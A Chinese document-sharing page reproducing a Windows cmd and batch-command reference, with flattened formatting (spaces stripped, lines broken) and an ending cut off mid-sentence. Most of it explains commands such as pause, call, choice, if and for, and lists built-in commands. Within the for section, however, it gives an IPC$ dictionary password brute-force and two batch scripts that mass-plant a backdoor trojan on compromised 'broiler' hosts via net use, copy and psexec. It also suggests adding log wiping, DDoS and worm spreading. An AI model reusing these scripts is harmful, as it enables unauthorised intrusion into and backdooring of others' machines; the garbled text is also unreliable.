cmd和批处理命令大全Word下载.docx
《cmd和批处理命令大全Word下载.docx》由会员分享,可在线阅读,更多相关《cmd和批处理命令大全Word下载.docx(31页珍藏版)》请在冰豆网上搜索。
![cmd和批处理命令大全Word下载.docx](https://file1.bdocx.com/fileroot1/2023-1/8/4a99ee4a-daf8-40cd-86bf-588adc02b112/4a99ee4a-daf8-40cd-86bf-588adc02b1121.gif)
5.Pause命令
运行Pause命令时,将显示下面的消息:
Pressanykeytocontinue...
@echooff
begin
copya:
*.*d:
\back
echoPleaseputanewdiskintodriverA
pause
gotobegin
在这个例子中,驱动器A中磁盘上的所有文件均复制到d:
\back中。
显示的注释提示您将另一张磁盘放入驱动器A时,pause命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。
6.Call命令
从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。
call命令接受用作调用目标的标签。
如果在脚本或批处理文件外使用Call,它将不会在命令行起作用。
call[[Drive:
][Path]FileName[BatchParameters]][:
label[arguments]]
参数
[Drive:
}[Path]FileName
指定要调用的批处理程序的位置和名称。
filename参数必须具有.bat或.cmd扩展名。
7.start命令
调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
入侵常用参数:
MIN开始时窗口最小化
SEPARATE在分开的空间内开始16位Windows程序
HIGH在HIGH优先级类别开始应用程序
REALTIME在REALTIME优先级类别开始应用程序
WAIT启动应用程序并等候它结束
parameters这些为传送到命令/程序的参数
执行的应用程序是32-位GUI应用程序时,CMD.EXE不等应用程序终止就返回命令提示。
如果在命令脚本内执行,该新行为则不会发生。
8.choice命令
choice使用此命令可以让用户输入一个字符,从而运行不同的命令。
使用时应该加/c:
参数,c:
后应写提示可输入的字符,之间无空格。
它的返回码为1234……
如:
choice/c:
dmedefrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample.bat的内容如下:
choice/c:
dmedefrag,mem,end
iferrorlevel3gotodefrag(应先判断数值最高的错误码)
iferrorlevel2gotomem
iferrotlevel1gotoend
defrag
c:
\dos\defrag
gotoend
mem
end
echogoodbye
此文件运行后,将显示defrag,mem,end[D,M,E]?
用户可选择dme,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以gotoend将程序跳到end标号处,然后程序将显示goodbye,文件结束。
9.If命令
if表示将判断是否符合规定的条件,从而决定执行不同的命令。
有三种格式:
1、if"
参数"
=="
字符串"
待执行的命令
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。
(注意是两个等号)
如if"
%1"
=="
a"
formata:
if{%2}=={}gotonoparms
2、ifexist文件名待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。
如ifexistconfig.syseditconfig.sys
3、iferrorlevel/ifnoterrorlevel数字待执行的命令
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
如iferrorlevel2gotox2
DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。
10.for命令
for命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用FOR命令时,指定变量请使用%%variable
for{%variable|%%variable}in(set)docommand[CommandLineOptions]
%variable指定一个单一字母可替换的参数。
(set)指定一个或一组文件。
可以使用通配符。
command指定对每个文件执行的命令。
command-parameters为特定命令指定参数或命令行开关。
而不要用%variable。
变量名称是区分大小写的,所以%i不同于%I
如果命令扩展名被启用,下列额外的FOR命令格式会受到
支持:
FOR/D%variableIN(set)DOcommand[command-parameters]
如果集中包含通配符,则指定与目录名匹配,而不与文件
名匹配。
FOR/R[[drive:
]path]%variableIN(set)DOcommand[command-
检查以[drive:
]path为根的目录树,指向每个目录中的
FOR语句。
如果在/R后没有指定目录,则使用当前
目录。
如果集仅为一个单点(.)字符,则枚举该目录树。
FOR/L%variableIN(start,step,end)DOcommand[command-para
该集表示以增量形式从开始到结束的一个数字序列。
因此,(1,1,5)将产生序列12345,(5,-1,1)将产生
序列(54321)。
FOR/F["
options"
]%variableIN(file-set)DOcommand
]%variableIN("
string"
)DOcommand
]%variableIN(command)DOcommand
或者,如果有usebackq选项:
filenameset为一个或多个文件名。
继续到filenameset中的
下一个文件之前,每份文件都已被打开、读取并经过处理。
处理包括读取文件,将其分成一行行的文字,然后将每行
解析成零或更多的符号。
然后用已找到的符号字符串变量值
调用For循环。
以默认方式,/F通过每个文件的每一行中分开
的第一个空白符号。
跳过空白行。
您可通过指定可选"
参数替代默认解析操作。
这个带引号的字符串包括一个或多个
指定不同解析选项的关键字。
这些关键字为:
eol=c-指一个行注释字符的结尾(就一个)
skip=n-指在文件开始时忽略的行数。
delims=xxx-指分隔符集。
这个替换了空格和跳格键的
默认分隔符集。
tokens=x,y,m-n-指每行的哪一个符号被传递到每个迭代
的for本身。
这会导致额外变量名称的
格式为一个范围。
通过nth符号指定m
符号字符串中的最后一个字符星号,
那么额外的变量将在最后一个符号解析之
分配并接受行的保留文本。
usebackq-指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且
引号字符为文字字符串命令并允许在fi
中使用双引号扩起文件名称。
sample1:
FOR/F"
eol=;
tokens=2,3*delims=,"
%iin(myfile.txt)docommand
会分析myfile.txt中的每一行,忽略以分号打头的那些行,将
每行中的第二个和第三个符号传递给for程序体;
用逗号和/或
空格定界符号。
请注意,这个for程序体的语句引用%i来
取得第二个符号,引用%j来取得第三个符号,引用%k
来取得第三个符号后的所有剩余符号。
对于带有空格的文件
名,您需要用双引号将文件名括起来。
为了用这种方式来使
用双引号,您还需要使用usebackq选项,否则,双引号会
被理解成是用作定义某个要分析的字符串的。
%i专门在for语句中得到说明,%j和%k是通过
tokens=选项专门得到说明的。
您可以通过tokens=一行
指定最多26个符号,只要不试图说明一个高于字母z或
Z的变量。
请记住,FOR变量是单一字母、分大小写和全局的;
同时不能有52个以上都在使用中。
您还可以在相邻字符串上使用FOR/F分析逻辑;
方法是,
用单引号将括号之间的filenameset括起来。
这样,该字符
串会被当作一个文件中的一个单一输入行。
最后,您可以用FOR/F命令来分析命令的输出。
方法是,将
括号之间的filenameset变成一个反括字符串。
该字符串会
被当作命令行,传递到一个子CMD.EXE,其输出会被抓进
内存,并被当作文件分析。
因此,以下例子:
usebackqdelims=="
%iIN(`set`)DO@echo%i
会枚举当前环境中的环境变量名称。
另外,FOR变量参照的替换已被增强。
您现在可以使用下列
选项语法:
~I-删除任何引号("
),扩充%I
%~fI-将%I扩充到一个完全合格的路径名
%~dI-仅将%I扩充到一个驱动器号
%~pI-仅将%I扩充到一个路径
%~nI-仅将%I扩充到一个文件名
%~xI-仅将%I扩充到一个文件扩展名
%~sI-扩充的路径只含有短名
%~aI-将%I扩充到文件的文件属性
%~tI-将%I扩充到文件的日期/时间
%~zI-将%I扩充到文件的大小
%~$PATH:
I-查找列在路径环境变量的目录,并将%I扩充
到找到的第一个完全合格的名称。
如果环境变量
未被定义,或者没有找到文件,此组合键会扩充
空字符串
可以组合修饰符来得到多重结果:
%~dpI-仅将%I扩充到一个驱动器号和路径
%~nxI-仅将%I扩充到一个文件名和扩展名
%~fsI-仅将%I扩充到一个带有短名的完整路径名
%~dp$PATH:
i-查找列在路径环境变量的目录,并将%I扩充
到找到的第一个驱动器号和路径。
%~ftzaI-将%I扩充到类似输出线路的DIR
在以上例子中,%I和PATH可用其他有效数值代替。
%~语法
用一个有效的FOR变量名终止。
选取类似%I的大写变量名
比较易读,而且避免与不分大小写的组合键混淆。
以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。
sample2:
利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用netuse\\ip\ipc$"
password"
/u:
"
administrator"
来尝试这和目标主机进行连接,当成功时记下密码。
最主要的命令是一条:
for/fi%in(dict.txt)donetuse\\ip\ipc$"
i%"
用i%来表示admin的密码,在dict.txt中这个取i%的值用netuse命令来连接。
然后将程序运行结果传递给find命令--
for/fi%%in(dict.txt)donetuse\\ip\ipc$"
i%%"
|find"
命令成功完成"
D:
\ok.txt,这样就ko了。
sample3:
你有没有过手里有大量肉鸡等着你去种后门+木马呢?
,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:
)。
文章开头就谈到使用批处理文件,可以简化日常或重复性任务。
那么如何实现呢?
呵呵,看下去你就会明白了。
主要命令也只有一条:
(在批处理文件中使用FOR命令时,指定变量使用%%variable)
@for/f"
tokens=1,2,3delims="
%%iin(victim.txt)dostartcalldoor.bat%%i%%j%%k
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i%j%k。
而cultivate.bat无非就是用netuse命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(Iferrorlever=)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
delims=表示vivtim.txt中的内容是一空格来分隔的。
我想看到这里你也一定明白这victim.txt里的内容是什么样的了。
应该根据%%i%%j%%k表示的对象来排列,一般就是ippasswordusername。
代码雏形:
---------------cutherethensaveasabatchfile(Icallitmain.bat)--------------------
@if"
gotousage
%%iin(victim.txt)dostartcallIPChack.bat%%i%%j%%k
@gotoend
usage
@echorunthisbatchindosmodle.orjustdouble-clickit.
end
-------------------cutherethensaveasabatchfile(Icallitdoor.bat)-----------------
@netuse\\%1\ipc$%3/u:
%2"
@iferrorlevel1gotofailed
@echoTryingtoestablishtheIPC$connection…………OK
@copywindrv32.exe\\%1\admin$\system32&
&
ifnoterrorlevel1echoIP%1USER%2PWD%3>
ko.txt
@p***ec\\%1c:
\winnt\system32\windrv32.exe
@p***ec\\%1netstartwindrv32&
ifnoterrorlevel1echo%1Backdoored>
failed
@echoSorrycannotconnectedtothevictim.
-----------------cutherethensaveasabatchfile(Icallitdoor.bat)-------------------
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容
尚可扩展,例如:
加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究
有关某个命令的详细信息,请键入HELP命令名
ASSOC显示或修改文件扩展名关联。
AT计划在计算机上运行的命令和程序。
ATTRIB显示或更改文件属性。
BREAK设置或清除扩展式CTRL+C检查。
CACLS显示或修改文件的访问控制列表(ACLs)。
CALL从另一个批处理程序调用这一个。
CD显示当前目录的名称或将其更改。
CHCP显示或设置活动代码页数。
CHDIR显示当前目录的名称或将其更改。
CHKDSK检查磁盘并显示状态报告。
CHKNTFS显示或修改启动时间磁盘检查。
CLS清除屏幕。
CMD打开另一个Windows命令解释程序窗口。
COLOR设置默认控制台前景和背景颜色。
COMP比较两个或两套文件的内容。
COMPACT显示或更改NTFS分区上文件的压缩。
CONVERT将FAT卷转换成NTFS。
您不能转换
当前驱动器。
COPY将至少一个文件复制到另一个位置。
DATE显示或设置日期。
DEL删除至少一个文件。
DIR显示一个目录中的文件和子目录。
DISKCOMP比较两个软盘的内容。
DISKCOPY将一个软盘的内容复制到另一个软盘。
DOSKEY编辑命令行、调用Windows命令并创建宏。
ECHO显示消息,或将命令回显打开或关上。
ENDLOCAL结束批文件中环境更改的本地化。
ERASE删除至少一个文件。
EXIT退出CMD.EXE程序(命令解释程序)。
FC比较两个或两套文件,并显示
不同处。
FIND在文件中搜索文字字符串。
FINDSTR在文件中搜索字符串。
FOR为一套文件中的每个文件运行一个指定的命令。
FORMAT格式化磁盘,以便跟Windows使用。
FTYPE显示或修改用于文件扩展名关联的文件类型。
GOTO将Windows命令解释程序指向批处理程序
中某个标明的行。
GRAFTABL启用Windows来以图像模式显示
扩展字符集。
HELP提供Windows命令的帮助信息。
IF执行批处理程序中的条件性处理。
LABEL创建、更改或删除磁盘的卷标。
MD创建目录。
MKDIR创建目录。
MODE配置系统设备。
MORE一次显示一个结果屏幕。
MOVE将文件从一个目录移到另一个目录。
PATH显示或设置可执行文件的搜索路径。
PAUSE暂停批文件的处理并显示消息。
POPD还原PUSHD保存的当前目录的上一个值。
PRINT打印文本文件。
PROMPT更改Windows命令提示符。
PUSHD保存当前目录,然后对其进行更改。
RD删除目录。
RECOVER从有问题的磁盘恢复可读信息。
REM记录批文件或CONFIG.SYS中的注释。
REN重命名文件。
RENAME重命名文件。
REPLACE替换文件。
RMDIR删除目录。
SET显示、设置或删除Windows环境变量。
SETLOCAL开始批文件中环境更改的本地化。
SHIFT更换批文件中可替换参数的位置。
SORT对输入进行分类。
START启动另一个窗口来运行指定的程序或命令。
SUBST将路径跟一个驱动器号关联。
TIME显示或设置系统时间。
TITLE设置CMD.EXE会话的窗口标题。
TREE以图形模式显示驱动器或路径的目录结构。
TYPE显示文本文件的内容。
VER显示Windows版本。
VERIFY告诉Windows是否验证文件是否已正确
写入磁盘。
VOL显示磁盘卷标和序列号。
XCOPY复制文件和目录树。
appwiz.cpl------------添加删除程序
controluserpasswords2--------用户帐户设置
cleanmgr-------垃圾整理
CMD--------------命令提示符可以当作是Windows的一个附件,Ping,Convert这些不能在图形环境下使用的功能要借助它来完成。
cmd------jview察看Java虚拟机版本。
------调用的则是系统内置的NTVDM,一个DOS虚拟机。
它完全是一个类似VirtualPC的虚拟环境,和系统本身联系不大。
当我们在命令提示符下运行DOS